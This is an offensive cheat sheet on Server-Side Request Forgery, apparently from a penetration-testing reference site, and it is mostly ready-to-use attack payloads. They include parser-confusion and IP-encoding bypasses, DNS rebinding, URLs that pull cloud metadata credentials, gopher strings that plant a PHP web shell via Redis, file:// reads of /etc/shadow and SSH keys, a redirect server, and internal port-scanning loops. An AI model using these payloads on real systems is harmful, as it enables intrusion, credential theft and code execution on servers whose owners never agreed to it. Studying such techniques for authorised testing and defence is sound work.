SSRF-BYPASS
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Comprehensive reference for Server-Side Request Forgery exploitation and filter bypass techniques.
URL PARSER DIFFERENTIALS#
URL Parsing Inconsistencies:
# Different libraries parse URLs differently
# Exploit differences between validation parser and request parser
# Authority confusion
http://evil.com@127.0.0.1 # Userinfo treated as host by some parsers
http://127.0.0.1@evil.com # Host treated as userinfo by some parsers
# Fragment bypass
http://evil.com#@127.0.0.1 # Fragment ignored by browser, not by parser
http://127.0.0.1#.evil.com # May bypass domain allowlist
# Backslash confusion
http://evil.com\@127.0.0.1 # Some parsers treat \ as /
http://127.0.0.1\.evil.com
# URL encoding in authority
http://127.0.0.1%2f@evil.com
http://evil.com%2f127.0.0.1
# Null byte injection
http://127.0.0.1%00.evil.com
# Tab and newline characters
http://127.0.0.1%09.evil.com
http://127.0.0.1%0d%0a.evil.com
Parser-Specific Issues:
# Python urllib vs requests
# Java URL vs URI
# PHP parse_url vs cURL
# Node.js url.parse (legacy) vs new URL()
# PHP parse_url bypass
0://evil.com;google.com # parse_url returns google.com as host
http://evil.com:80#@google.com
# Python urllib
http://127.0.0.1\r\n\r\nINJECTED
IP ENCODING TRICKS#
Target: 127.0.0.1
Decimal (DWORD):
http://2130706433 # 127*256^3 + 0*256^2 + 0*256 + 1
Hexadecimal:
http://0x7f000001
http://0x7f.0x0.0x0.0x1
http://0x7f.0.0.1
Octal:
http://0177.0.0.1
http://0177.0.0.01
http://0177.00.00.01
Mixed encoding:
http://0x7f.0.0.1 # Hex + decimal
http://0177.0.0.0x1 # Octal + hex
http://0x7f.0.01 # Hex + octal
IPv6:
http://[::1]
http://[0:0:0:0:0:0:0:1]
http://[::ffff:127.0.0.1]
http://[0000::0001]
http://[::1%25] # With zone ID
http://[::ffff:7f00:1]
Special Addresses:
http://0 # 0.0.0.0 (may resolve to localhost)
http://0.0.0.0
http://127.1 # Short form of 127.0.0.1
http://127.0.1 # Short form
http://127.127.127.127 # Still loopback
http://2130706433 # Decimal 127.0.0.1
Target: 169.254.169.254 (AWS metadata)
Decimal:
http://2852039166 # 169*256^3 + 254*256^2 + 169*256 + 254
Hexadecimal:
http://0xa9fea9fe
Octal:
http://0251.0376.0251.0376
Mixed:
http://0xa9.254.0xa9.254
http://0251.0xfe.0251.0xfe
DNS REBINDING#
Concept:
- Register a domain that alternates between attacker IP and internal IP
- First DNS resolution: returns attacker IP (passes validation)
- Second DNS resolution: returns 127.0.0.1 (hits internal service)
Tools:
# rbndr.us (DNS rebinding service)
# Resolves to two IPs alternately
http://7f000001.ATTACKER-IP.rbndr.us
# Taviso's rebinder
# https://lock.cmpxchg8b.com/rebinder.html
# Custom DNS server with short TTL
# Configure A record to alternate between IPs with TTL=0
Services:
# nip.io - wildcard DNS
http://127.0.0.1.nip.io
http://169.254.169.254.nip.io
# sslip.io
http://127-0-0-1.sslip.io
# Custom domain pointing to 127.0.0.1
# Register domain, set A record to 127.0.0.1
Defense Evasion:
- Some defenses resolve DNS once and cache
- Use TOCTOU (time-of-check-time-of-use) race condition
- Set DNS TTL to 0 to force re-resolution
- Some resolvers ignore TTL=0, use TTL=1
CLOUD METADATA ENDPOINTS#
AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/dynamic/instance-identity/document
AWS (IMDSv2 - requires token):
# Step 1: Get token
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN
Google Cloud (GCP):
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Requires header: Metadata-Flavor: Google
# Try without header on older instances
# Alternative IPs
http://169.254.169.254/computeMetadata/v1/
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires header: Metadata: true
DigitalOcean:
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
Oracle Cloud:
http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v2/instance/
Alibaba Cloud:
http://100.100.100.200/latest/meta-data/
PROTOCOL SMUGGLING#
Gopher Protocol:
# Gopher can send arbitrary TCP data - useful for attacking internal services
# Redis command execution via gopher
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSAVE
# SMTP via gopher
gopher://127.0.0.1:25/_HELO%20evil.com%0d%0aMAIL%20FROM%3A%3Cattacker%40evil.com%3E%0d%0aRCPT%20TO%3A%3Cvictim%40target.com%3E%0d%0aDATA%0d%0a...
# MySQL via gopher (unauthenticated)
# Use tool: gopherus to generate payloads
python gopherus.py --exploit mysql
File Protocol:
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ
file:///proc/self/cmdline
file:///proc/net/tcp
file:///proc/net/arp
file:///home/user/.ssh/id_rsa
file:///var/log/apache2/access.log
Dict Protocol:
dict://127.0.0.1:6379/INFO
dict://127.0.0.1:11211/stats
TFTP:
tftp://attacker.com/file
LDAP:
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1/
REDIRECT-BASED SSRF#
Open Redirect Chaining:
# If the app follows redirects, use an open redirect to bypass filters
# Step 1: Find open redirect on allowed domain
https://allowed-domain.com/redirect?url=http://169.254.169.254/
# Step 2: Use in SSRF payload
url=https://allowed-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/
Attacker-Controlled Redirect:
# Host a page on your server that returns a 302 redirect
# Python: redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
# Use your server URL as the SSRF payload
url=http://attacker-server.com/redirect
HTTP to Non-HTTP Redirect:
# Redirect from HTTP to gopher/file/dict
Location: gopher://127.0.0.1:6379/_PING
Location: file:///etc/passwd
# Works if the HTTP client follows cross-protocol redirects
FILTER BYPASS PAYLOADS#
Domain/IP Blocklist Bypass:
# Localhost alternatives
http://localtest.me # Resolves to 127.0.0.1
http://spoofed.burpcollaborator.net # Your controlled DNS
http://customer1.app.localhost # May resolve to 127.0.0.1
# Enclosed alphanumeric
http://โ โกโฆ.โช.โช.โ # Unicode numbers
# URL shorteners
http://bit.ly/XXXXX -> http://169.254.169.254/
# Registered domain pointing to 127.0.0.1
http://your-domain.com # A record -> 127.0.0.1
Keyword Bypass:
# If "127.0.0.1" is blocked
http://0x7f000001
http://2130706433
http://0177.0.0.1
http://127.1
http://[::1]
# If "169.254.169.254" is blocked
http://0xa9fea9fe
http://2852039166
http://[::ffff:a9fe:a9fe]
http://169.254.169.254.nip.io
# If "localhost" is blocked
http://LOCALHOST
http://Localhost
http://localHOST
http://127.0.0.1
URL Encoding Bypass:
http://%31%32%37%2e%30%2e%30%2e%31 # URL-encoded 127.0.0.1
http://127.0.0.1%23@evil.com # Fragment bypass
http://127.0.0.1%2523@evil.com # Double URL encoding
Allowlist Bypass:
# If only certain domains are allowed
http://allowed.com@127.0.0.1
http://127.0.0.1#.allowed.com
http://allowed.com.attacker.com # Subdomain of attacker domain
http://attackerallowed.com # Contains "allowed" substring
BLIND SSRF DETECTION#
Out-of-Band Detection:
# Use Burp Collaborator or similar
http://COLLABORATOR-PAYLOAD.burpcollaborator.net
# Use webhook.site for quick detection
http://webhook.site/YOUR-UUID
# Use interactsh
http://PAYLOAD.interact.sh
# DNS-only detection (no HTTP callback needed)
# Trigger DNS lookup even if HTTP response is blocked
Timing-Based Detection:
# Compare response times
url=http://127.0.0.1:80 # Fast (open port)
url=http://127.0.0.1:81 # Slow (closed port, timeout)
url=http://10.0.0.1:80 # Variable timing = SSRF exists
# Internal port scanning via timing
for port in 80 443 8080 8443 3306 5432 6379 27017; do
# Measure response time for each port
# Fast = open, slow/timeout = closed
done
Error-Based Detection:
# Different errors for valid vs invalid targets
url=http://127.0.0.1:80 -> "Connection refused" or content
url=http://127.0.0.1:9999 -> "Connection timed out"
url=http://invalid.xxx -> "DNS resolution failed"
# Different error messages confirm SSRF
Response Size Differences:
# Even without seeing the response content
url=http://127.0.0.1:80 -> Response size: 5432 bytes
url=http://127.0.0.1:22 -> Response size: 156 bytes (SSH banner)
url=http://127.0.0.1:9999 -> Response size: 0 bytes
TOOLS#
SSRFmap - Automated SSRF exploitation Gopherus - Generate gopher payloads for internal services Interactsh - OOB interaction detection Collaborator - Burp Suite OOB detection Ground Control - Attacker-controlled HTTP redirect server Singularity - DNS rebinding attack framework
INTERNAL SERVICE TARGETS#
Common Internal Services:
127.0.0.1:80/443 Web server
127.0.0.1:8080/8443 Application server
127.0.0.1:3000 Node.js / Grafana
127.0.0.1:3306 MySQL
127.0.0.1:5432 PostgreSQL
127.0.0.1:6379 Redis
127.0.0.1:27017 MongoDB
127.0.0.1:9200 Elasticsearch
127.0.0.1:11211 Memcached
127.0.0.1:2375 Docker API
127.0.0.1:5985 WinRM
127.0.0.1:9090 Prometheus
127.0.0.1:8500 Consul
127.0.0.1:2379 etcd
127.0.0.1:10250 Kubelet API